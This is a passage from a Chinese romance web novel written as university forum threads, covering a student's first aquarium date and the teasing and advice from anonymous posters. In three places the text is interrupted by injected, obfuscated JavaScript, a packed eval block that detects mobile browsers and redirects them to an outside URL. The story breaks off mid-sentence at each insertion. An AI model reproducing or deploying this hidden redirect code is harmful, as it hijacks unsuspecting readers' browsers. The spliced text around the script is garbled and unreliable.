我们帮你检查有没有遗漏！ 113楼楼主： …… 你们是真的把我当儿子养了是吧？ 114楼匿名用户： 不然呢？ 我们一群单身狗，不养儿子干嘛？ 115楼匿名用户： 哈哈哈哈哈哈！ “养儿子”实锤了！ 楼主你就认了吧，你就是我们看着长大的崽。 116楼楼主： …… 行吧。 谢谢爸爸们。 谢谢妈妈们。 谢谢各位单身狗恋爱顾问。 117楼匿名用户： 哈哈哈哈哈哈“单身狗恋爱顾问”是什么职位！ 不过我们乐意！ 去吧，周六加油！ 118楼匿名用户： 楼主加油！ 拿下顾辞！ 119楼匿名用户： 期待周六的约会后续！ 一定来更新啊！ 120楼楼主： 好。 周六一定来。 谢谢你们。 —— 我躺在床上，把论坛里的建议一条一条记在备忘录里。 衣服：卫衣牛仔裤小白鞋 物品：水、零食、充电宝、纸巾 时间：提前半小时到，踩点 话题：多夸他，多说“你今天真好看” 牵手：找自然时机，观察反应 拍照：偷拍他看鱼的样子 礼物：纪念品店买个钥匙扣 吃饭：提前查餐厅，最好预约 回来：送他到宿舍楼下，说“今天很开心” 晚上：发消息，说晚安 记完一看，好长一串。 我盯着这条备忘录，突然笑了。 以前比赛前，我也会列这种清单。 战术、跑位、注意事项。 从来没想过，谈恋爱也要列清单。 但这份清单，比任何战术都让我紧张。 手机震了一下。 是顾辞的消息。 【圆圆】：睡了？ 【张】：没。 【圆圆】：在想什么？ 【张】：在想周六。 【圆圆】：我也是。 【张】：你期待吗？ 【圆圆】：嗯。 【圆圆】：你呢？ 【张】：特别期待。 【张】：顾辞。 【圆圆】：嗯？ 【张】：我今天列了个清单，第一次约会注意事项。 【圆圆】：…… 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：你不用列清单。 【圆圆】：你就做你自己就行。 【张】：可我想做得好一点。 【圆圆】：你现在就很好。 【圆圆】：你一直都很好。 我盯着那几行字，眼眶又酸了。 他说“你现在就很好”。 他说“你一直都很好”。 操。 这人怎么这么会说话。 我打字： 【张】：顾辞。 【圆圆】：嗯？ 【张】：周六的水族馆，我一定让你开心。 【圆圆】：好。 【圆圆】：我相信你。 【张】：晚安。 【圆圆】：晚安，张扬。 —— 窗外有月光。 很亮。 我想起他说的话。 “玻璃那边是鱼的世界，玻璃这边是我们的世界。” 周六。 我要和他一起，去看那个属于我们的世界。 12. 约会战报！1 标题：【树洞】约会战报！水族馆大成功！！！ 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们！！！ 我回来了！！！ 约会圆满成功！！！ 我现在整个人还在飘！！！ 必须立刻马上跟你们分享！！！ —— 周六早上我五点就醒了。 真的，五点。 比训练日起得还早。 躺在床上翻来覆去，脑子里全是他。 好不容易熬到七点，爬起来洗澡、洗头、刮胡子。 对着镜子换了三件卫衣，最后选了那件深灰色的——他之前说过这个颜色好看。 鞋子擦了三遍，确保一点灰都没有。 零食提前买好了，小蛋糕和巧克力，都是他喜欢的口味。 水装了两瓶，一瓶矿泉水一瓶气泡水——我不知道他爱喝哪种，都带了。 充电宝满电，手机清空内存准备拍照。 提前查好的路线截了图，餐厅预约了六点半的位置。 一切准备就绪。 然后我坐在床边，深呼吸。 像马上要上场踢决赛。 —— 约的九点半在水族馆门口见。 我九点就到了。 不是为了踩点，是真的等不及。 九点十五，我看见他走过来。 兄弟们。 你们能想象那个画面吗？ 他穿着那件浅蓝色的衬衫，外面套了一件薄薄的米白色针织衫。 头发比平时更软，被早晨的阳光照着，泛着一层浅浅的光。 他走过来的时候，风把他的衣角吹起来一点。 他就那么看着我，嘴角带着一点点笑。 那个笑很轻，轻得像是怕被人发现。 但我看见了。 我他妈全都看见了。 我当时脑子里只有一个念头： 操。 这世界上怎么会有这么好看的人。 —— 水族馆里光线很暗，到处都是蓝色的。 那种蓝色很温柔，像被海水浸过的月光。 他走在前面，我走在后面。 然后我看见他停在一个巨大的水缸前面。 那个水缸里有各种各样的鱼，大的小的，彩色的银色的，游来游去。 他就站在那儿，仰着头看。 水族箱的蓝光照在他脸上。 他的侧脸被那层蓝光勾勒出来，睫毛上好像落着细碎的光点。 眼睛亮亮的，像那些鱼鳞反射的光。 嘴唇微微张着，像是想说什么但又忘了说。 他看鱼。 我看他。 看着看着，我突然发现—— 他比那些鱼好看一万倍。 不对。 他比这世界上任何东西都好看。 —— 他看了一会儿，忽然转头看我。 “张扬，你看那条。” 他指着一条很大的鱼，身上有橘色和白色的花纹。 “小丑鱼。” 他说这个名字的时候，声音很轻，带着一点点笑。 那个笑不是平时那种淡淡的笑，是真的开心。 像小孩子发现宝藏的那种开心。 我从来没见过他这个样子。 那个平时冷冷淡淡的顾辞，那个对什么都好像不在意的顾辞。 现在站在水族箱前面，眼睛亮亮的，指着一条鱼，跟我说“你看”。 那一刻我突然明白了一件事。 他不是天生冷淡。 他只是没遇到让他不冷淡的东西。 比如鱼。 比如……我。 —— 后来我趁他看鱼的时候，偷偷拍了很多照片。 他看鱼的照片。 他侧脸的照片。 他站在蓝色光影里的照片。 他低头看水母的照片。 有一张我最喜欢。 那是他站在一个很大的弧形水缸前面，水缸里的鱼群从他头顶游过。 他仰着头，眼睛追着那些鱼。 光线从上面照下来，把他整个人笼在一层淡淡的蓝色里。 他的睫毛、他的鼻尖、他的嘴唇，全都被那层蓝色轻轻描了一遍。 像一幅画。 像梦里才会出现的那种画。 我盯着那张照片看了很久。 然后我对自己说： 张扬，你这辈子值了。 —— 【牵手】 你们不是让我找机会牵手吗？ 机会来了。 是在海底隧道。 就是那种头顶上全是鱼的地方。 他走在前面，我走在后面。 隧道很窄，有人从对面过来。 他侧身让了一下，往后退了一步。 正好退到我身边。 那一刻我也不知道哪来的勇气。 我伸手，握住了他的手。 他愣了一下。 但没躲。 也没抽回去。 我侧头看他。 他低着头，看着地面。 但耳朵红了。 从耳朵尖红到脖子根。 我握着他的手，感觉他的手心有点潮。 是汗。 他也在紧张。 那一刻我突然不紧张了。 因为我知道，他和我一样。 都在意。 都在乎。 都害怕。 也都期待。 —— 后来我们一直牵着手走完整个隧道。 他的手从一开始的僵硬，慢慢变得放松。 最后他甚至会轻轻回握我。 我悄悄和他十指相扣。 那种感觉怎么说呢…… 像握住了全世界。 出了隧道，我们站在一个很大的水缸前面。 他突然转过头看我。 “张扬。” “嗯？” “我今天很开心。” 他说这话的时候，眼睛亮亮的，嘴角弯着。 那个笑不是平时的笑。 是真的、发自内心的笑。 笑得眼睛都眯起来一点。 笑得露出一点点牙齿。 笑得让我心跳漏了半拍。 然后他低下头，轻轻摇了摇我们牵着的手。 “谢谢你带我来。” 那一刻我脑子里只有一个念头： 操。 我想亲他。 但我忍住了。 第一次约会，不能太着急。 但我把那个笑刻在脑子里了。 这辈子都忘不掉。 —— 【纪念品】 后来我们去了纪念品店。 他看中了一个水母的钥匙扣。 透明的，里面有一只小小的水母，摇一摇会发光。 他拿起来看了很久，然后又放下。 我问他：“喜欢吗？” 他说：“就是看看。” 我没说话。 趁他去旁边看别的，我偷偷拿了那个钥匙扣去结账。 出来的时候，我把小袋子递给他。 “给你的。” 他愣了一下。 “什么？” “纪念品。” 他打开袋子，看见那个水母钥匙扣。 然后他抬起头看我。 那个眼神我形容不出来。 不是惊讶，不是感动。 是那种……你看一个人，看得特别深。 像是要把我看进去。 然后他说：“张扬。” “嗯？” “你怎么知道我喜欢这个？” 我说：“你看了它三分钟。” 他没说话。 但眼睛红了。 就那么一点点红，不注意根本看不出来。 但我看见了。 然后他低下头，把钥匙扣攥在手心里。 “谢谢。”他说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他说“我今天很开心”时声音轻轻的样子。 他拿着钥匙扣眼睛红了的样子。 他说“谢谢你”时认真的样子。 还有他穿着我的外套，回头看我那一眼的样子。 兄弟们。 我觉得我完了。 我是真的、真的、真的喜欢他。 喜欢到不知道该怎么办。 喜欢到想把全世界都给他。 喜欢到—— 操。 我说不出来了。 反正就是很喜欢。 【关于我自己】 我知道你们要说我飘了。 但今天我必须吹一下自己。 我感觉我简直就是个平平无奇的恋爱天才！ 你们看看今天的战果： 牵手成功? 偷拍成功? 送礼物成功? 让他开心成功? 让他笑成功? 让他眼睛红了成功? 让他穿着我的外套回去成功? 这不是天才是什么？ 我以前怎么没发现自己这么会？ 可能这就是天赋吧。 有的人天生会踢球。 有的人天生会谈恋爱。 我就是两者都有，既会踢球又会谈恋爱。 13. 约会战报！2 1楼 1楼匿名用户： 沙发！ 楼主你终于来了！！！ 2楼匿名用户： 看完主楼，我只有一个问题： 楼主你是不是飘了？？？ 3楼匿名用户： 哈哈哈哈哈哈“平平无奇的恋爱天才”？？？ 楼主你认真的吗？？？ 4楼匿名用户： 回3楼：他认真的。 而且他好像真的觉得自己很厉害。 5楼匿名用户： 不是，楼主，你忘了前几帖的自己了？ “我是直男” “他是我兄弟” “我对他没那种意思” “我不知道去哪儿约会” “我该说什么” “我该怎么办” 现在你成天才了？？？ 6楼匿名用户： 哈哈哈哈哈哈笑死！ 从“我是直男”到“平平无奇恋爱天才”， 楼主你用了不到两个月。 7楼匿名用户： 这叫什么？ 这叫好了伤疤忘了疼。 这叫得瑟。 这叫飘了。 8楼匿名用户： @足球不行踢球去你还记得你第一次发帖时手抖得打字都慢半拍吗？ 你还记得你看见顾远洲挽他胳膊时整个人裂开吗？ 你还记得你站在餐厅门口看见别人告白转头就跑吗？ 这才几天，你就天才了？ 9楼楼主： 回8楼：…… 那些都是过去的事了。 人总是要成长的嘛。 10楼匿名用户： 回9楼：成长？ 你那是成长吗？ 你那是我们一把屎一把尿喂大的！ 11楼匿名用户： 哈哈哈哈哈哈“一把屎一把尿”是什么鬼！ 但确实，楼主这一路走来，我们操了多少心啊！ 12楼匿名用户： 第一次发帖：楼主哭诉竹马要被表姐抢走了 我们：你那是吃醋！ 第二次发帖：楼主说表姐是男的 我们：那是你情敌！ 第三次发帖：楼主陪人去临市 我们：你完了你动心了！ 第四次发帖：楼主看见别人告白就跑 我们：你怂什么快上！ 第五次发帖：楼主终于表白 我们：啊啊啊啊啊儿子长大了！ 第六次发帖：楼主问去哪儿约会 我们：你是把我们当AI使吗？ 第七次发帖：楼主问注意事项 我们：一群单身狗给你出主意 第八次发帖：楼主开始吹自己是恋爱天才 我们：？？？ 13楼匿名用户： 回12楼：总结得太到位了！ 这就是我们的赛博育儿日记！ 14楼匿名用户： “赛博育儿日记”哈哈哈哈哈哈！ 我们这些赛博父母，终于把儿子养大了！ 15楼匿名用户： 然后儿子现在开始飘了。 说自己是恋爱天才。 完全忘了是谁教的。 16楼匿名用户： 对对对！ 楼主你摸着良心说： 要不是我们，你知道约会要带水吗？ 要不是我们，你知道要偷拍吗？ 要不是我们，你知道要买纪念品吗？ 要不是我们，你知道要牵手吗？ 17楼楼主： …… 知道。 18楼匿名用户： 回17楼：你知道个屁！ 你什么都不知道！ 你就是个恋爱白痴！ 19楼匿名用户： 哈哈哈哈哈哈！ “恋爱白痴”才是你的真实身份！ 别飘了，快下来！ 20楼楼主： …… 行吧。 我是恋爱白痴。 但我今天确实表现很好啊！ 你们不能否认这一点！ 21楼匿名用户： 我们没否认你表现好。 但你那个“平平无奇恋爱天才”的标签，我们不同意。 22楼匿名用户： 对！ 你不是天才。 你是我们这些赛博父母手把手教出来的笨儿子。 表现好是应该的。 不然我们对得起我们熬的那些夜吗？ 23楼匿名用户： 就是！ 你知道我们为了你，死了多少脑细胞吗？ 你知道我们为了你，掉了多少头发吗？ 你现在居然想独吞功劳？ 24楼楼主： …… 那功劳是你们的。 行了吧？ 25楼匿名用户： 这还差不多。 但有一说一，今天表现确实不错。 那个牵手时机，完美。 那个偷拍，有心了。 那个纪念品，绝了。 那句“看你”，够直球。 那个外套披上去，满分。 26楼匿名用户： 对对对！ 尤其是外套那个细节！ 让顾辞穿着你的外套回去！ 他回去肯定抱着外套睡不着！ 27楼匿名用户： 哈哈哈哈哈哈！ “抱着外套睡不着”太真实了！ 顾辞今晚肯定满脑子都是你。 28楼匿名用户： 而且你描写顾辞那段—— “他的侧脸被那层蓝光勾勒出来，睫毛上好像落着细碎的光点” “眼睛亮亮的，像那些鱼鳞反射的光” “笑得眼睛眯起来一点，笑得露出一点点牙齿” “像一幅画，像梦里才会出现的那种画” 楼主你文笔进步了啊！ 29楼匿名用户： 对对对！ 我也想说！ 楼主你以前描写顾辞就是“黑发如墨肤白如玉”， 现在都会用光影和细节了！ 进步神速！ 30楼楼主： 是吗？ 我就是把我看见的写出来而已。 他本来就长那样。 31楼匿名用户： 回30楼：你看，这就是喜欢的力量。 喜欢一个人，你就会注意到他所有的细节。 连他睫毛上的光点都看得见。 32楼匿名用户： 对！ 不喜欢的时候，看见的是“好看”。 喜欢的时候，看见的是“好看在哪里”。 楼主你已经进入第二阶段了。 33楼楼主： …… 还有第三阶段吗？ 34楼匿名用户： 有啊。 第三阶段是，不用看，闭着眼也能想起来他长什么样。 每一根睫毛，每一个表情，每一个笑。 都在你脑子里。 35楼匿名用户： 第四阶段是，他不在你身边，你也觉得他在。 走在路上看见什么都会想起他。 看见鱼想起他，看见水想起他，看见蓝色想起他。 36楼匿名用户： 第五阶段是，你已经分不清是你想他还是他在你脑子里。 他变成了你的一部分。 37楼楼主： …… 我现在好像是第四阶段。 刚才回来路上看见蓝色的灯，就想起他在水族馆里的样子。 38楼匿名用户： 看吧。 你已经彻底沦陷了。 39楼匿名用户： 对了楼主，你回来给他发消息了吗？ 40楼楼主： 发了。 我问他到了没，他说到了。 我问他今天开心吗，他说嗯。 我问他外套暖和不，他说嗯。 我问他明天还一起吃早饭吗，他说嗯。 全是嗯。 41楼匿名用户： 哈哈哈哈哈哈！ 顾辞式回答：嗯。 但他每个嗯都回你了！ 说明他在意！ 42楼匿名用户： 对！ 而且你想想，他平时对别人，连嗯都懒得说。 能回你嗯，已经是最高待遇了。 43楼楼主： …… 也是。 那我要不要问他睡了吗？ 44楼匿名用户： 问！ 现在问！ 45楼匿名用户： 对对对！ 问问他睡着没有！ 问问他有没有想你！ 46楼匿名用户： 问问他有没有抱着你的外套睡觉！ 47楼楼主： …… 最后那个不问。 太变态了。 48楼匿名用户： 哈哈哈哈哈哈！ 行，不问这个。 就问睡了没。 49楼楼主： 问了。 【张】：睡了吗？ 【圆圆】：没。 【张】：在想什么？ 【圆圆】：在想今天。 【张】：我也是。 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：那个水母钥匙扣，我挂在书包上了。 【圆圆】：以后每天都看得见。 我看着那条消息，又傻笑了半天。 50楼匿名用户： 呜呜呜呜呜！！！ “以后每天都看得见”！！！ 这是什么神仙情话！！！ 51楼匿名用户： 顾辞真的太会了！！！ 他随便说句话，都能让楼主心跳加速！！！ 52楼匿名用户： 楼主你回什么？ 你回什么了？ 5 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382525|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 3楼楼主： 我回： 【张】：那我也每天都能看见你背着它。 【张】：四舍五入就是每天都能看见你。 【圆圆】：…… 【圆圆】：你从哪儿学的这些？ 54楼匿名用户： 哈哈哈哈哈哈！ “你从哪儿学的这些”！ 顾辞都被你撩到了！ 55楼匿名用户： 楼主你出息了！！！ 都会说情话了！！！ 56楼匿名用户： 这哪是恋爱白痴，这明明是恋爱天才！ 不对，是恋爱天才的徒弟！ 师父是我们！ 57楼匿名用户： 对对对！ 是我们教得好！ 楼主你别想独吞功劳！ 58楼楼主： 行行行。 你们教得好。 我是好学生。 行了吧？ 59楼匿名用户： 这还差不多。 行了，儿子今天表现不错，妈妈很欣慰。 60楼匿名用户： 爸爸也很欣慰。 继续努力，保持这个水平。 61楼匿名用户： 对了楼主，你那些照片呢？ 发出来看看啊！ 62楼匿名用户： 对对对！ 我们要看顾辞的照片！ 要看他在蓝色光影里的样子！ 63楼楼主： …… 不行。 那是我的。 不给看。 64楼匿名用户： ？？？ 小气！ 我们就看一眼！ 65楼楼主： 一眼也不行。 他的照片只能我一个人看。 66楼匿名用户： 行吧行吧。 护食是吧？ 理解。 67楼匿名用户： 那你描述一下！ 我们脑补！ 68楼楼主： 描述过了啊。 就是那样。 很好看。 很好看很好看。 69楼匿名用户： …… 你这描述水平，还不如不描述。 70楼匿名用户： 算了算了，我们自己脑补。 反正顾辞那个颜值，怎么脑补都不过分。 71楼匿名用户： 对了楼主，你明天还约吗？ 周日有什么安排？ 72楼楼主： 明天他说要写论文。 我去图书馆陪他。 73楼匿名用户： 也行。 图书馆约会，也是约会。 74楼匿名用户： 记得带水！ 记得别打扰他！ 记得看他！ 75楼楼主： 知道了知道了。 你们比我妈还啰嗦。 76楼匿名用户： 废话！ 我们是赛博父母！ 当然啰嗦！ 77楼匿名用户： 行了，儿子快去睡吧。 明天还要陪儿媳妇写论文呢。 78楼楼主： …… 好。 晚安。 谢谢你们。 79楼匿名用户： 晚安儿子。 晚安顾辞。 晚安这个美好的夜晚。 —— 【最后的最后】 张扬把手机放下。 窗外的月亮很亮。 他想起顾辞今天在水族馆里的样子。 想起他说“我今天很开心”时眼睛亮亮的。 想起他拿着钥匙扣说“以后每天都看得见”。 想起他穿着自己的外套，回头看自己那一眼。 忍不住拿起手机，又发了一条消息： 【张】：顾辞。 【圆圆】：嗯？ 【张】：我今天真的特别开心。 【张】：比赢了市冠军还开心。 【圆圆】：…… 【圆圆】：你赢了市冠军的时候，是什么感觉？ 张扬想了想。 【张】：就是高兴，但也就那样。 【张】：但今天不一样。 【张】：今天是一直高兴，到现在还在高兴。 【张】：可能明天也会高兴。 【张】：后天也会。 【张】：一直一直高兴。 顾辞沉默了一会儿。 然后回： 【圆圆】：张扬。 【张】：嗯？ 【圆圆】：我也是。 【圆圆】：晚安。 【张】：晚安。 张扬把手机扣在胸口。 窗外很静。 但他的心跳一点都不静。 一直一直高兴。 原来这就是喜欢一个人的感觉。 14. 表哥返场邀请顾辞看展，该怎么大度？ 标题：【树洞】表哥返场邀请顾辞看展，该怎么大度？ 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们。 我有点难受。 不是那种撕心裂肺的难受，是那种……堵得慌的难受。 事情要从今天中午说起。 —— 今天中午我在食堂等顾辞吃饭。 他来得比平时晚了一点，坐下之后脸色有点奇怪。 我问：“怎么了？” 他说：“没事。” 然后低头吃饭。 但我了解他。他那个“没事”，就是“有事”的意思。 我没追问。 吃完饭往回走的时候，他突然说：“张扬，我哥明天来。” 我愣了一下。 哥？ 哪个哥？ 他看了我一眼：“顾远洲。” 哦。 顾远洲。 那个穿女装的、暗恋他多年的、一个人去临市的表哥。 我心里“咯噔”一下。 但我脸上没表现出来，问：“他来干嘛？” “有个画展，他想让我陪他去看。” 画展。 他陪他去看画展。 两个人，看画展。 我心里又开始堵了。 但我还是说：“哦，那你去呗。” 他看了我一眼，那眼神有点复杂。 但没说什么。 —— 晚上他给我发消息。 【圆圆】：明天上午我去看展，中午不和你吃饭了。 【张】：好。 【圆圆】：下午回来，晚上一起吃？ 【张】：好。 然后就没话了。 我盯着那个对话框，心里乱七八糟。 我知道我不应该多想。 顾远洲是他表哥，是他哥，是那个已经放手的人。 他们看个画展怎么了？很正常啊。 但我就是……就是不舒服。 不是不信顾辞。 是不信那个画面。 两个人并肩走在展厅里，他给他讲这幅画那幅画，他认真听。 光线从窗户照进来，落在他俩身上。 多好看啊。 多配啊。 然后我呢？ 我在球场晒太阳，在宿舍躺着，在食堂一个人吃饭。 像个傻子。 —— 我知道我这个想法很幼稚。 我也知道顾远洲没有恶意。 他走的时候说了，下次回来吃小笼包。 他现在回来了，约顾辞看展，很正常。 但我就是忍不住想—— 他是不是还没放下？ 他是不是借着看展的机会多见见他？ 他是不是…… 操。 我不想这么想的。 但我控制不住。 —— 所以我现在纠结的是： 明天要不要问顾辞？ 问什么？问他和他哥看展开不开心？问他有没有想我？问他顾远洲有没有说什么？ 问了显得我小气。 不问我又憋得难受。 还有，明天晚上吃饭的时候，我该什么态度？ 要不要问画展怎么样？ 要不要问顾远洲最近好不好？ 要不要表现得很大度？ 可是我真的很大度吗？ 我一点都不大度。 我现在就想冲到顾辞宿舍楼下，拉着他问：你们看展的时候，你有没有想起我？ 但我不能。 他是去看展，不是去干嘛。 我不能因为自己心里不舒服，就干涉他。 —— 所以兄弟们。 教教我。 怎么才能大度一点？ 怎么才能不胡思乱想？ 怎么才能相信他，也相信顾远洲？ 怎么才能在明天晚上吃饭的时候，表现得像个正常人？ 在线等。 挺急的。 —— 1楼匿名用户： 沙发！ 楼主你终于更新了！ 2楼匿名用户： 看完主楼，我只想说： 楼主你这是……吃醋了？ 3楼匿名用户： 回2楼：这哪是吃醋，这是醋缸翻了。 4楼匿名用户： 哈哈哈哈哈哈！ 从“我是直男”到“我吃表哥的醋”， 楼主你真的成长了。 5楼匿名用户： 但这次不一样啊！ 顾远洲是那个暗恋过顾辞的人！ 是那个一个人去临市看樱花的人！ 是那个说“下次回来吃小笼包”的人！ 他回来了，约顾辞看展，楼主能不吃醋吗？ 6楼匿名用户： 理解楼主。 但说真的，顾远洲应该没那个意思了。 他走的时候已经放手了。 7楼匿名用户： 回6楼：放手归放手，喜欢过的人站在面前，心里还是会动一下的吧？ 这很正常啊。 但顾辞喜欢的是楼主，这点不会变。 8楼匿名用户： 对！ 楼主你要相信顾辞！ 他不是那种会动摇的人。 9楼匿名用户： 而且你想想，顾辞如果对顾远洲有意思，早就有了。 还用等这么多年？ 还用等你开窍？ 10楼匿名用户： 就是！ 顾辞等的是你！ 不是他！ 11楼楼主： 道理我都懂。 但我就是……堵得慌。 12楼匿名用户： 正常！ 喜欢一个人，就会在意他的一举一动。 在意他和谁在一起，在意他开不开心，在意他有没有想自己。 这不是小气，这是喜欢。 13楼匿名用户： 但你不能因为这个，就干涉他。 他是去看展，不是去干嘛。 你要是因为这个跟他闹，反而显得你不信任他。 14楼匿名用户： 对对对！ 你现在要做的不是堵，是大度。 大度不是忍着，是信任。 信任他会处理好，信任他不会动摇，信任他看完展还是会回来找你吃晚饭。 15楼匿名用户： 而且你想想，顾辞为什么告诉你？ 因为他不想瞒着你。 他完全可以不说，但他说了。 这说明什么？ 说明他把你当自己人。 16楼匿名用户： 对！ 他完全可以随便找个理由糊弄过去，但他没有。 他直接说“我哥来，陪他看展”。 这是对你的信任。 17楼楼主： …… 你们说得对。 他告诉我，是信任我。 我不能辜负这个信任。 18楼匿名用户： 这就对了！ 明天晚上吃饭的时候，你就正常问： “画展怎么样？” “你哥还好吗？” “你们聊什么了？” 问完就听他说。 听完就说“那就好”。 19楼匿名用户： 对对对！ 表现得像个正常人！ 别阴阳怪气，别追着问细节，别一副“你快安慰我”的样子。 20楼匿名用户： 你要是表现得太在意，反而会把顾辞推远。 他会觉得你不信任他，会觉得和你在一起有压力。 21楼匿名用户： 而且你想想，顾远洲这次回来，说不定就是想看看顾辞过得好不好。 他看见顾辞和你在一起很幸福，他就放心了。 你表现得大度一点，他也放心。 22楼匿名用户： 对！ 顾远洲不是来抢人的，是来确认的。 确认顾辞幸福，确认你对他好。 你让他确认了，他就安心走了。 23楼楼主： …… 有道理。 那我现在该怎么办？ 24楼匿名用户： 现在？ 现在什么都别做。 别问他，别试探，别发消息。 就让他好好去看展。 25楼匿名用户： 对对对！ 别在他看展的时候发消息问“在干嘛”“开心吗”“想我没”。 那太烦了。 26楼匿名用户： 你就该干嘛干嘛。 去训练，去吃饭，去睡觉。 等他回来，正常吃饭，正常聊天。 27楼楼主： …… 好。 我去训练。 把自己累趴下，就没空想这些了。 28楼匿名用户： 对！ 这个办法好！ 身体累了，脑子就不转了。 29楼匿名用户： 哈哈哈哈哈哈！ 赛博父母又上线了！ 儿子，加油！ 30楼匿名用户： 话说回来，楼主你有没有想过另一种可能？ 31楼楼主： 什么可能？ 32楼匿名用户： 顾辞去看展，心里想的全是你。 33楼匿名用户： 对对对！ 他站在一幅画前面，顾远洲在旁边讲。 但他脑子里想的是：“这幅画张扬会喜欢吗？”“那个颜色张扬穿好看”“这个角度要是张扬在，肯定会说看不懂然后让我讲”。 34楼匿名用户： 哈哈哈哈哈哈！ 太真实了！ 喜欢一个人的时候，不管在哪儿，都会想起他。 35楼匿名用户： 所以楼主你别担心。 顾辞看展的时候，可能满脑子都是你。 顾远洲讲什么，他根本没听进去。 36楼楼主： …… 会吗？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382526|200203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 37楼匿名用户： 会！ 肯定会的！ 你就是他的恋爱脑！ 38楼匿名用户： 对！ 你就是他的“在看什么都会想起你”的那个人！ 顾远洲只是过去，你是现在和未来。 39楼楼主： …… 好多了。 谢谢你们。 40楼匿名用户： 不谢！ 赛博父母应该做的！ 41楼匿名用户： 对了楼主，明天晚上吃饭，你可以带点东西给他。 42楼楼主： 什么东西？ 43楼匿名用户： 小蛋糕啊！ 他喜欢甜的。 看完展回来累了，吃块小蛋糕，心情好。 44楼匿名用户： 对对对！ 或者买杯奶茶。 等他回来，递给他一杯热奶茶。 什么都不用说，他就知道你在想他。 45楼楼主： 好。 我明天去买。 46楼匿名用户： 还有！ 明天他回来的时候，你别说“我想你了”这种话。 47楼楼主： 为什么？ 48楼匿名用户： 因为太刻意了！ 他刚看完展回来，你这么说，他会觉得你在暗示“你去看展了我好难受”。 49楼匿名用户： 对对对！ 你就正常说话，正常吃饭。 等他放松下来，自然会跟你说今天的事。 50楼匿名用户： 然后你说：“听起来不错，下次我们一起去？” 这就够了。 51楼匿名用户： 对！ “下次我们一起去”！ 既表达了你对画展的兴趣，又表达了你对他哥的接纳，还表达了你想和他一起做更多事的愿望。 一箭三雕！ 52楼楼主： …… 你们太厉害了。 我记下了。 53楼匿名用户： 行了，儿子去吧。 去训练，把自己累趴下。 明天晚上等你的好消息。 54楼楼主： 好。 我去了。 —— 【训练之后】 训练完回来，我累得跟狗一样。 洗完澡躺在床上，脑子确实不转了。 但手还是忍不住拿起了手机。 有一条未读消息。 【圆圆】：刚回酒店，我哥在洗澡。 【圆圆】：今天画展还行，但没你好看。 我盯着那两行字，愣了三秒。 然后笑了。 笑得像个傻子。 他说“没你好看”。 他说画展没我好看。 操。 这人怎么这么会说话？ 我回他： 【张】：你也没我想的好看。 【圆圆】：？ 【张】：因为你本人比我想的好看一万倍。 【圆圆】：…… 【圆圆】：你从哪儿学的这些？ 【张】：自学的。 【圆圆】：不信。 【张】：真的，看到你就自动会了。 【圆圆】：…… 【圆圆】：睡觉了。 【张】：晚安。 【圆圆】：晚安，张扬。 我把手机扣在胸口。 嘴角快咧到耳朵根。 堵了一下午的心，突然就通了。 —— 兄弟姐妹们。 我现在明白了。 大度不是忍着。 是相信他。 相信他不会动摇，相信他心里只有我。 也相信我自己。 相信我是那个让他说“没你好看”的人。 —— 明天晚上吃饭。 我会问他画展怎么样。 会问他顾远洲好不好。 会说“下次我们一起去”。 然后看他笑。 就够了。 —— 50楼匿名用户： 呜呜呜呜呜！！！ “画展还行，但没你好看”！！！ 这是什么神仙情话！！！ 51楼匿名用户： 顾辞真的太会了！！！ 一句话就让楼主不堵了！！！ 52楼匿名用户： 楼主你也不差！ “你本人比我想的好看一万倍”！ 这谁顶得住啊！ 53楼匿名用户： 这就是双向奔赴吗？ 这就是爱情吗？ 我酸了。 54楼匿名用户： 行了，儿子终于不堵了。 赛博父母可以放心了。 55楼匿名用户： 明天继续汇报！ 我们要看后续！ 56楼楼主： 好。 明天见。 15. 他出现在球场边的那一刻 标题：【树洞】他出现在球场边的那一刻，我觉得自己是全世界最幸福的人 论坛板块：京华大学\校园生活\情感树洞 发帖人：足球不行踢球去 正文： 兄弟们。 今天我不想求助。 我只想炫耀。 炫耀一个人。 —— 事情要从上周说起。 上次表哥来看展的事过去之后，我们恢复了正常的节奏。 一起吃早饭，一起去图书馆，晚上他自习我训练。 但有一个问题一直在我心里转： 他想不想看我训练？想不想看我比赛？ 我从来没问过。 因为我觉得他可能不感兴趣。 你们知道的，他喜欢安静，喜欢看书，喜欢那些有文化的东西。 而我的训练呢？ 一群人大呼小叫，满身臭汗，跑来跑去抢一个球。 和“文雅”这两个字，完全不沾边。 所以我从来没主动邀请过他。 我怕他觉得无聊。 怕他坐在场边，看着一群野蛮人抢球，心里想“我为什么要来”。 怕他来了之后，发现我的世界和他的世界，差得太远。 —— 但我又忍不住试探。 